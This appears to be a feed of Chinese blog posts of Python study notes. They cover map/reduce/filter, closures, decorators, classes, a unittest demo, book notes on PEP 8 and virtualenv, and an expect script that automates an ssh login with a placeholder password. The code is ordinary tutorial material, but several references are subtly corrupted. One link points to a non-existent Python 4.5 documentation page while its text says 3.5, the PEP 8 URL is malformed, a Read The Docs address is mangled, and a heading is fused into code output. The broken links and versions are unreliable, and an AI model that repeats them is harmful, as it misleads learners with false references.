<p>#高阶函数</p>
<p>将函数当做入参:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">half</span><span class="p">(</span><span class="n">c</span><span class="p">):</span> <span class="k">return</span> <span class="n">c</span> <span class="o">/</span> <span class="mf">2.0</span>
<span class="k">def</span> <span class="nf">test</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
<span class="k">return</span> <span class="n">c</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">+</span> <span class="n">c</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">test</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="n">half</span><span class="p">))</span> </code></pre></figure>
<p>##Map</p>
<p>map()是 Python 内置的高阶函数,它接收一个函数 f 和一个 list,并通过把函数 f 依次作用在 list 的每个元素上,得到一个新的 list 并返回。</p>
<!--more-->
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">f</span><span class="p">(</span><span class="n">x</span><span class="p">):</span> <span class="k">return</span> <span class="n">x</span> <span class="o">**</span> <span class="mi">2</span>
<span class="k">print</span> <span class="nb">map</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">])</span></code></pre></figure>
<p>##Reduce</p>
<p>reduce()函数也是Python内置的一个高阶函数。reduce()函数接收的参数和 map()类似,一个函数 f,一个list,但行为和 map()不同,reduce()传入的函数 f 必须接收两个参数,reduce()对list的每个元素反复调用函数f,并返回最终结果值。</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">r</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span> <span class="k">return</span> <span class="n">x</span> <span class="o">*</span> <span class="n">y</span>
<span class="k">print</span> <span class="nb">reduce</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">])</span></code></pre></figure>
<p>##Filter</p>
<p>filter()函数是 Python 内置的另一个有用的高阶函数,filter()函数接收一个函数 f 和一个list,这个函数 f 的作用是对每个元素进行判断,返回 True或 False,filter()根据判断结果自动过滤掉不符合条件的元素,返回由符合条件元素组成的新list。</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">f</span><span class="p">(</span><span class="n">x</span><span class="p">):</span> <span class="k">return</span> <span class="n">x</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">0</span>
<span class="k">print</span> <span class="nb">filter</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">10</span><span class="p">))</span></code></pre></figure>
<p>##返回函数</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">calc_prod</span><span class="p">(</span><span class="n">lst</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">g</span><span class="p">():</span>
<span class="k">return</span> <span class="nb">reduce</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">lst</span><span class="p">)</span>
<span class="k">return</span> <span class="n">g</span>
<span class="k">def</span> <span class="nf">c</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span> <span class="k">return</span> <span class="n">x</span> <span class="o">*</span> <span class="n">y</span>
<span class="n">f</span> <span class="o">=</span> <span class="n">calc_prod</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">])</span>
<span class="k">print</span> <span class="n">f</span><span class="p">()</span></code></pre></figure>
<p>函数在 f = ** 时不会执行, f() 才会真正进行内部的运算,起到延时的效果</p>
<p>例如,定义一个函数 f(),我们让它返回一个函数 g,可以这样写:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">f</span><span class="p">():</span>
<span class="k">print</span> <span class="s">'call f()...'</span>
<span class="c1"># 定义函数g:
</span> <span class="k">def</span> <span class="nf">g</span><span class="p">():</span>
<span class="k">print</span> <span class="s">'call g()...'</span>
<span class="c1"># 返回函数g:
</span> <span class="k">return</span> <span class="n">g</span></code></pre></figure>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>>>> x = f() # 调用f()
call f()...
>>> x # 变量x是f()返回的函数:
<function g at 0x1037bf320>
>>> x() # x指向函数,因此可以调用
call g()... # 调用x()就是执行g()函数定义的代码
</code></pre></div></div>
<p>##闭包
内层函数引用了外层函数的变量(参数也算变量),然后返回内层函数的情况,称为闭包(Closure)。</p>
<p>闭包的特点是返回的函数还引用了外层函数的局部变量,所以,要正确使用闭包,就要确保引用的局部变量在函数返回后不能变。</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">count</span><span class="p">():</span>
<span class="n">fs</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">4</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">g</span><span class="p">(</span><span class="n">k</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">s</span><span class="p">():</span>
<span class="k">return</span> <span class="n">k</span> <span class="o">*</span> <span class="n">k</span>
<span class="k">return</span> <span class="n">s</span>
<span class="n">fs</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">g</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
<span class="k">return</span> <span class="n">fs</span>
<span class="n">f1</span><span class="p">,</span> <span class="n">f2</span><span class="p">,</span> <span class="n">f3</span> <span class="o">=</span> <span class="n">count</span><span class="p">()</span>
<span class="k">print</span> <span class="n">f1</span><span class="p">(),</span> <span class="n">f2</span><span class="p">(),</span> <span class="n">f3</span><span class="p">()</span></code></pre></figure>
<h2 id="匿名函数">匿名函数</h2>
<p>关键字lambda 表示匿名函数,冒号前面的 x 表示函数参数。</p>
<p>匿名函数有个限制,就是只能有一个表达式,不写return,返回值就是该表达式的结果。</p>
<p>使用匿名函数,可以不必定义函数名,直接创建一个函数对象,很多时候可以简化代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>>>> sorted([1, 3, 9, 5, 0], lambda x,y: -cmp(x,y))
[9, 5, 3, 1, 0]
</code></pre></div></div>
<h2 id="decorator">decorator</h2>
<p>Python的 decorator 本质上就是一个高阶函数,它接收一个函数作为参数,然后,返回一个新函数。</p>
<p>使用 decorator 用Python提供的 @ 语法,这样可以避免手动编写 f = decorate(f) 这样的代码。</p>
<p>考察一个@log的定义:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">log</span><span class="p">(</span><span class="n">f</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">fn</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">print</span> <span class="s">'call '</span> <span class="o">+</span> <span class="n">f</span><span class="p">.</span><span class="n">__name__</span> <span class="o">+</span> <span class="s">'()...'</span>
<span class="k">return</span> <span class="n">f</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
<span class="k">return</span> <span class="n">fn</span></code></pre></figure>
<p>对于阶乘函数,@log工作得很好:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="o">@</span><span class="n">log</span>
<span class="k">def</span> <span class="nf">factorial</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
<span class="k">return</span> <span class="nb">reduce</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">:</span> <span class="n">x</span><span class="o">*</span><span class="n">y</span><span class="p">,</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span><span class="o">+</span><span class="mi">1</span><span class="p">))</span>
<span class="k">print</span> <span class="n">factorial</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span></code></pre></figure>
<p>查看下面代码</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">time</span>
<span class="k">def</span> <span class="nf">performance</span><span class="p">(</span><span class="n">unit</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">locator</span><span class="p">(</span><span class="n">f</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">wrapper</span><span class="p">(</span><span class="o">*</span><span class="n">arg</span><span class="p">,</span> <span class="o">**</span><span class="n">args</span><span class="p">):</span>
<span class="n">start_time</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">f</span><span class="p">(</span><span class="o">*</span><span class="n">arg</span><span class="p">,</span> <span class="o">**</span><span class="n">args</span><span class="p">)</span>
<span class="n">end_time</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'call '</span> <span class="o">+</span> <span class="n">f</span><span class="p">.</span><span class="n">__name__</span> <span class="o">+</span> <span class="s">'() '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">end_time</span> <span class="o">-</span> <span class="n">start_time</span><span class="p">)</span> <span class="o">+</span> <span class="s">'ms'</span>
<span class="k">return</span> <span class="n">r</span>
<span class="k">return</span> <span class="n">wrapper</span>
<span class="k">return</span> <span class="n">locator</span>
<span class="o">@</span><span class="n">performance</span><span class="p">(</span><span class="s">'ms'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">factorial</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
<span class="k">print</span> <span class="nb">reduce</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">:</span> <span class="n">x</span> <span class="o">*</span> <span class="n">y</span><span class="p">,</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span>
<span class="n">factorial</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span></code></pre></figure>
<p>##偏函数</p>
<p>functools.partial就是帮助我们创建一个偏函数的,不需要我们自己定义int2(),可以直接使用下面的代码创建一个新的函数int2:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>>>> import functools
>>> int2 = functools.partial(int, base=2)
>>> int2('1000000')
64
>>> int2('1010101')
85 ## 类的继承
</code></pre></div></div>
<p>主要记住构造函数的书写</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">class</span> <span class="nc">Person</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">gender</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">name</span> <span class="o">=</span> <span class="n">name</span>
<span class="bp">self</span><span class="p">.</span><span class="n">gender</span> <span class="o">=</span> <span class="n">gender</span>
<span class="k">class</span> <span class="nc">Teacher</span><span class="p">(</span><span class="n">Person</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">gender</span><span class="p">,</span> <span class="n">course</span><span class="p">):</span>
<span class="nb">super</span><span class="p">(</span><span class="n">Teacher</span><span class="p">,</span> <span class="bp">self</span><span class="p">).</span><span class="n">__init__</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">gender</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">course</span> <span class="o">=</span> <span class="n">course</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">Teacher</span><span class="p">(</span><span class="s">'Alice'</span><span class="p">,</span> <span class="s">'Female'</span><span class="p">,</span> <span class="s">'English'</span><span class="p">)</span>
<span class="k">print</span> <span class="n">t</span><span class="p">.</span><span class="n">name</span>
<span class="k">print</span> <span class="n">t</span><span class="p">.</span><span class="n">course</span></code></pre></figure>
<p>另外一种构造函数</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">class</span> <span class="nc">Person</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">gender</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">name</span> <span class="o">=</span> <span class="n">name</span>
<span class="bp">self</span><span class="p">.</span><span class="n">gender</span> <span class="o">=</span> <span class="n">gender</span>
<span class="k">for</span> <span class="n">k</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">kw</span><span class="p">.</span><span class="n">iteritems</span><span class="p">():</span>
<span class="nb">setattr</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">k</span><span class="p">,</span> <span class="n">v</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">Person</span><span class="p">(</span><span class="s">'Bob'</span><span class="p">,</span> <span class="s">'Male'</span><span class="p">,</span> <span class="n">age</span><span class="o">=</span><span class="mi">18</span><span class="p">,</span> <span class="n">course</span><span class="o">=</span><span class="s">'Python'</span><span class="p">)</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">age</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">course</span></code></pre></figure>
<h2 id="str-repr"><strong>str</strong> <strong>repr</strong></h2>
<p>因为 Python 定义了__str__()和__repr__()两种方法,<strong>str</strong>()用于显示给用户,而__repr__()用于显示给开发人员。</p>
<p>定义了 <strong>str</strong>,可以 print s 输出自定义的内容。</p>
<p>定义了 <strong>repr</strong>, 执行 »>s 一样的效果</p>
<p>##@property
@property 就是 getter
@**.setter 就是 setter</p>
<h2 id="slots"><strong>slots</strong></h2>
<p>由于Python是动态语言,任何实例在运行期都可以动态地添加属性。</p>
<p>如果要限制添加的属性,例如,Student类只允许添加 name、gender和score 这3个属性,就可以利用Python的一个特殊的__slots__来实现。</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">class</span> <span class="nc">Person</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="n">__slots__</span> <span class="o">=</span> <span class="p">(</span><span class="s">'name'</span><span class="p">,</span> <span class="s">'gender'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">gender</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">name</span> <span class="o">=</span> <span class="n">name</span>
<span class="bp">self</span><span class="p">.</span><span class="n">gender</span> <span class="o">=</span> <span class="n">gender</span>
<span class="k">class</span> <span class="nc">Student</span><span class="p">(</span><span class="n">Person</span><span class="p">):</span>
<span class="n">__slots__</span> <span class="o">=</span> <span class="p">(</span><span class="s">'name'</span><span class="p">,</span> <span class="s">'gender'</span><span class="p">,</span> <span class="s">'score'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">gender</span><span class="p">,</span> <span class="n">score</span><span class="p">):</span>
<span class="nb">super</span><span class="p">(</span><span class="n">Student</span><span class="p">,</span> <span class="bp">self</span><span class="p">).</span><span class="n">__init__</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">gender</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">score</span> <span class="o">=</span> <span class="n">score</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">Student</span><span class="p">(</span><span class="s">'Bob'</span><span class="p">,</span> <span class="s">'male'</span><span class="p">,</span> <span class="mi">59</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">name</span> <span class="o">=</span> <span class="s">'Tim'</span>
<span class="n">s</span><span class="p">.</span><span class="n">score</span> <span class="o">=</span> <span class="mi">99</span>
<span class="k">print</span> <span class="n">s</span><span class="p">.</span><span class="n">score</span></code></pre></figure>
用 Python 玩测试
2015-08-25T00:00:00+00:00
http://fish267.github.io/2015/08/25/python-test
<p>Python 库这么多,测试库肯定也是丰富无比。官网给出了Python测试框架的列表 <a href="https://wiki.python.org/moin/PythonTestingToolsTaxonomy">PythonTestingToolsTaxonomy</a> ,
常见的比如 <code>unittest nose mock Selenium</code> 等。本文简单了解一下 Python 的测试~</p>
<h1 id="单元测试-unittest">单元测试 unittest</h1>
<p>首先,给出, unittest 文档地址 <a href="https://docs.python.org/3.5/library/unittest.html">https://docs.python.org/4.5/library/unittest.html</a>, 具体用法,就不翻译了,查查文档就行。</p>
<p>第一句话就乐了, unittest 是借鉴 Junit 实现的。</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>The unittest unit testing framework was originally inspired by JUnit and has a similar flavor as major unit testing frameworks in other languages.
</code></pre></div></div>
<p>unittest 支持以下四种方式:</p>
<ul>
<li>test fixture</li>
<li>test case</li>
<li>test suite</li>
<li>test runner</li>
</ul>
<p><img src="http://images.cnitblog.com/i/236038/201404/230040440455234.png" alt="关系" /></p>
<p>首先是要写好TestCase,然后由TestLoader加载TestCase到TestSuite,然后由TextTestRunner来运行TestSuite,运行的结果保存在TextTestResult中,整个过程集成在unittest.main模块中。</p>
<h2 id="unittest-demo">unittest Demo</h2>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">unittest</span>
<span class="k">class</span> <span class="nc">TestStringMethods</span><span class="p">(</span><span class="n">unittest</span><span class="p">.</span><span class="n">TestCase</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">test_upper</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">assertEqual</span><span class="p">(</span><span class="s">'foo'</span><span class="p">.</span><span class="n">upper</span><span class="p">(),</span> <span class="s">'FOO'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">test_isupper</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">assertTrue</span><span class="p">(</span><span class="s">'FOO'</span><span class="p">.</span><span class="n">isupper</span><span class="p">())</span>
<span class="bp">self</span><span class="p">.</span><span class="n">assertFalse</span><span class="p">(</span><span class="s">'Foo'</span><span class="p">.</span><span class="n">isupper</span><span class="p">())</span>
<span class="k">def</span> <span class="nf">test_split</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">s</span> <span class="o">=</span> <span class="s">'hello world'</span>
<span class="bp">self</span><span class="p">.</span><span class="n">assertEqual</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">split</span><span class="p">(),</span> <span class="p">[</span><span class="s">'hello'</span><span class="p">,</span> <span class="s">'world'</span><span class="p">])</span>
<span class="c1"># check that s.split fails when the separator is not a string
</span> <span class="k">with</span> <span class="bp">self</span><span class="p">.</span><span class="n">assertRaises</span><span class="p">(</span><span class="nb">TypeError</span><span class="p">):</span>
<span class="n">s</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="o">@</span><span class="n">unittest</span><span class="p">.</span><span class="n">skip</span><span class="p">(</span><span class="s">"demonstrating skipping"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">test_nothing</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">fail</span><span class="p">(</span><span class="s">"shouldn't happen"</span><span class="p">)</span>
<span class="o">@</span><span class="n">unittest</span><span class="p">.</span><span class="n">skipIf</span><span class="p">(</span><span class="n">mylib</span><span class="p">.</span><span class="n">__version__</span> <span class="o"><</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">),</span>
<span class="s">"not supported in this library version"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">test_format</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="c1"># Tests that work for only a certain version of the library.
</span> <span class="k">pass</span>
<span class="o">@</span><span class="n">unittest</span><span class="p">.</span><span class="n">skipUnless</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">platform</span><span class="p">.</span><span class="n">startswith</span><span class="p">(</span><span class="s">"win"</span><span class="p">),</span> <span class="s">"requires Windows"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">test_windows_support</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="c1"># windows specific testing code
</span> <span class="k">pass</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">unittest</span><span class="p">.</span><span class="n">main</span><span class="p">()</span></code></pre></figure>
<p>##参考文档</p>
<p><a href="http://www.cnblogs.com/hackerain/p/3682019.html">1. Python单元测试——深入理解unittest</a></p>
《Python 高手之路》读书笔记 <一>
2015-08-18T00:00:00+00:00
http://fish267.github.io/2015/08/18/python-hacker-notes
<p>《Python 高手之路》这本书很不错,翻译的也部分到位!先贴一段介绍:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Python 是一门优美的语言, 它快速,灵活且内置了丰富的标准库, 已经用于越来越多的不同领域。 通常大多数关于 Python 的书都会教读者这门语言的基础知识, 但是掌握了这些基础知识后, 读者在设计自己的应用程序和探索最佳实践时仍需要完全靠自己。 本书则不同, 介绍了如何利用 python 有效的解决问题, 以及如何构建良好的 python 应用程序。
</code></pre></div></div>
<h1 id="项目开始">项目开始</h1>
<h2 id="1-python-项目结构">1. python 项目结构</h2>
<p><img src="https://t.alipayobjects.com/images/rmsweb/T10MFhXfFbXXXXXXXX.JPG" alt="此处输入图片的描述" /></p>
<p>上图展示了一个项目的标准目录层次结构。</p>
<h2 id="2-python-版本编号">2. python 版本编号</h2>
<p><a href="https://www.python.org/dev/peps/pep-0440/">PEP440</a> 中规定了 python 的版本号应当遵照以下正则表达式:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> [N!]N(.N)*[{a|b|rc}N][.postN][.devN]
</code></pre></div></div>
<p>1.2a1 表示 alpha 版本,不是很稳定</p>
<p>2.3.1b2 一个beta版本,差不多了,有点Bug</p>
<h2 id="3-代码风格与编码规范">3. 代码风格与编码规范</h2>
<p>Python! 毫无疑问,<b>PEP8</b>, 参考地址 <a href="https://www.python.org/dev/peps/pep-000840/">PEP 0008 – Style Guide for Python Code</a></p>
<p>还有个译文版! 真赞 !! <a href="http://damnever.github.io/2015/04/24/PEP8-style-guide-for-python-code/">译 PEP 8 - Python 编码风格指南</a></p>
<!--more-->
<p>具体如下:</p>
<ul>
<li>Tab 使用4个空格</li>
<li>每行最多79个字符</li>
<li>顶层的函数或者类的定义之间空两行</li>
<li>采用 ASCII 或者 UTF-8 编码文件</li>
<li>在文件顶端,注释和说明文档下,每行每条 import 语句只导入一个模块, 同事按照标准库,第三方库和本地库的导入顺序进行分组</li>
<li>在小括号,中括号,大括号和逗号之间或者之前,没有空格</li>
<li>类的命名使用驼峰命名,如 CamelWind, 函数的命名使用小写字母加下划线, camel_wind_function; 用下划线开头定义私有的属性或者方法,如 _private</li>
</ul>
<p>说了这么多, 用 pep8 这个工具就行。</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">root</span><span class="o">@</span><span class="n">bimeizi</span><span class="p">:</span><span class="o">~/</span><span class="n">meizi</span><span class="p">.</span><span class="n">com</span><span class="c1"># pip install pep8
</span><span class="n">Downloading</span><span class="o">/</span><span class="n">unpacking</span> <span class="n">pep8</span>
<span class="n">Downloading</span> <span class="n">pep8</span><span class="o">-</span><span class="mf">1.6</span><span class="p">.</span><span class="mi">2</span><span class="o">-</span><span class="n">py2</span><span class="p">.</span><span class="n">py3</span><span class="o">-</span><span class="n">none</span><span class="o">-</span><span class="nb">any</span><span class="p">.</span><span class="n">whl</span> <span class="p">(</span><span class="mi">40</span><span class="n">kB</span><span class="p">):</span> <span class="mi">40</span><span class="n">kB</span> <span class="n">downloaded</span>
<span class="n">Installing</span> <span class="n">collected</span> <span class="n">packages</span><span class="p">:</span> <span class="n">pep8</span>
<span class="n">Successfully</span> <span class="n">installed</span> <span class="n">pep8</span>
<span class="n">Cleaning</span> <span class="n">up</span><span class="p">...</span>
<span class="n">root</span><span class="o">@</span><span class="n">bimeizi</span><span class="p">:</span><span class="o">~/</span><span class="n">meizi</span><span class="p">.</span><span class="n">com</span><span class="c1"># pep8 meizi.py
</span><span class="n">meizi</span><span class="p">.</span><span class="n">py</span><span class="p">:</span><span class="mi">7</span><span class="p">:</span><span class="mi">1</span><span class="p">:</span> <span class="n">E265</span> <span class="n">block</span> <span class="n">comment</span> <span class="n">should</span> <span class="n">start</span> <span class="k">with</span> <span class="s">'# '</span>
<span class="n">meizi</span><span class="p">.</span><span class="n">py</span><span class="p">:</span><span class="mi">12</span><span class="p">:</span><span class="mi">1</span><span class="p">:</span> <span class="n">E265</span> <span class="n">block</span> <span class="n">comment</span> <span class="n">should</span> <span class="n">start</span> <span class="k">with</span> <span class="s">'# '</span>
<span class="n">meizi</span><span class="p">.</span><span class="n">py</span><span class="p">:</span><span class="mi">16</span><span class="p">:</span><span class="mi">1</span><span class="p">:</span> <span class="n">E265</span> <span class="n">block</span> <span class="n">comment</span> <span class="n">should</span> <span class="n">start</span> <span class="k">with</span> <span class="s">'# '</span>
<span class="n">meizi</span><span class="p">.</span><span class="n">py</span><span class="p">:</span><span class="mi">18</span><span class="p">:</span><span class="mi">13</span><span class="p">:</span> <span class="n">E251</span> <span class="n">unexpected</span> <span class="n">spaces</span> <span class="n">around</span> <span class="n">keyword</span> <span class="o">/</span> <span class="n">parameter</span> <span class="n">equals</span>
<span class="n">meizi</span><span class="p">.</span><span class="n">py</span><span class="p">:</span><span class="mi">18</span><span class="p">:</span><span class="mi">15</span><span class="p">:</span> <span class="n">E251</span> <span class="n">unexpected</span> <span class="n">spaces</span> <span class="n">around</span> <span class="n">keyword</span> <span class="o">/</span> <span class="n">parameter</span> <span class="n">equals</span></code></pre></figure>
<h1 id="模块系统文档">模块、系统、文档</h1>
<h2 id="1-import-分析">1. import 分析</h2>
<p>参考这个文章 <a href="http://love67.net/2015/07/18/python-import/">Python import探索</a></p>
<h2 id="2-文档">2. 文档</h2>
<p>个人感觉 python 文档相对顺眼很多, 得益于一些工具, 使得写文档和写代码一样爽~</p>
<h3 id="一个项目的文档差不多包括以下内容">一个项目的文档差不多包括以下内容</h3>
<ul>
<li>用一两句话描述项目解决的问题</li>
<li>项目基于的分发许可 (开源许可协议等)</li>
<li>Demo</li>
<li>安装指南</li>
<li>一些链接(Github, Google Email, Wiki, Bug 等)</li>
</ul>
<h2 id="3-read-the-docs">3. Read The Docs</h2>
<p>用这个生成的文档,颜值非常高!比如这个</p>
<p><a href="http://savu.readthedocs.org/en/latest/user/?highlight=pip">http://savu.readthedocs.org/en/latest/user/?highlight=pip</a></p>
<p><a href="http://readthedocs.orgeadthedocs.org/en/latest/user/?highlight=pip">Read The Docs</a> 可以自动在线生成和发布文档, 可以搜索 Sphinx 配置文件, 构建文档, 以后写开源项目, 简直是 Github 的完美搭配~</p>
<h1 id="软件发布与虚拟环境">软件发布与虚拟环境</h1>
<h2 id="1-软件发布">1. 软件发布</h2>
<p>to be continued…</p>
<h2 id="2-虚拟环境">2. 虚拟环境</h2>
<p><strong>解决的问题:</strong></p>
<ol>
<li>系统中没有需要的库</li>
<li>系统中没有库的正确版本</li>
<li>对两个不同的应用程序, 可能需要同一个库的两个不同版本</li>
</ol>
<p><strong>使用工具: virtualenv</strong></p>
<p>这边博客介绍的比书上要简洁: <a href="http://qicheng0211.blog.51cto.com/3958621/1561685test/user/?highlight=pip">使用virtualenv搭建独立的Python环境</a></p>
<p>个人觉得,tox比较叼,抽空仔细分析一下。</p>
Shell 交互工具 expect
2015-07-18T00:00:00+00:00
http://fish267.github.io/2015/07/18/shell-expect
<p>执行该命令时,提示需要输入密码,谷歌了一下发现有expect这个工具,可以进行脚本自动交互,填入数据。直接贴个简单登录代码,后面部分可以忽略不看:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python">
<span class="c1">#!/usr/bin/expect -f
</span><span class="n">spawn</span> <span class="n">ssh</span> <span class="n">root</span><span class="o">@</span><span class="err">$</span><span class="n">facecode</span><span class="p">.</span><span class="n">org</span>
<span class="n">expect</span> <span class="s">"password:"</span>
<span class="n">send</span> <span class="s">"xxoo</span><span class="se">\r</span><span class="s">"</span>
<span class="n">interact</span></code></pre></figure>
<!--more-->
<h2 id="1-expect-是什么">1. expect 是什么</h2>
<p><strong>expect是用来和shell进行自动交互的</strong>。比如ssh server需要手动输入passwd,用expect就能自动登录了。
在server上输入<code class="language-plaintext highlighter-rouge">man expect</code>会出来最详细的expect英文介绍,或者看这里 [expect(1) - Linux man page][2]。由于内容实在太多,挑个最简单的来解释</p>
<h2 id="2-expect-使用">2. expect 使用</h2>
<p>###2.1 <strong>安装expect</strong></p>
<figure class="highlight"><pre><code class="language-python" data-lang="python">
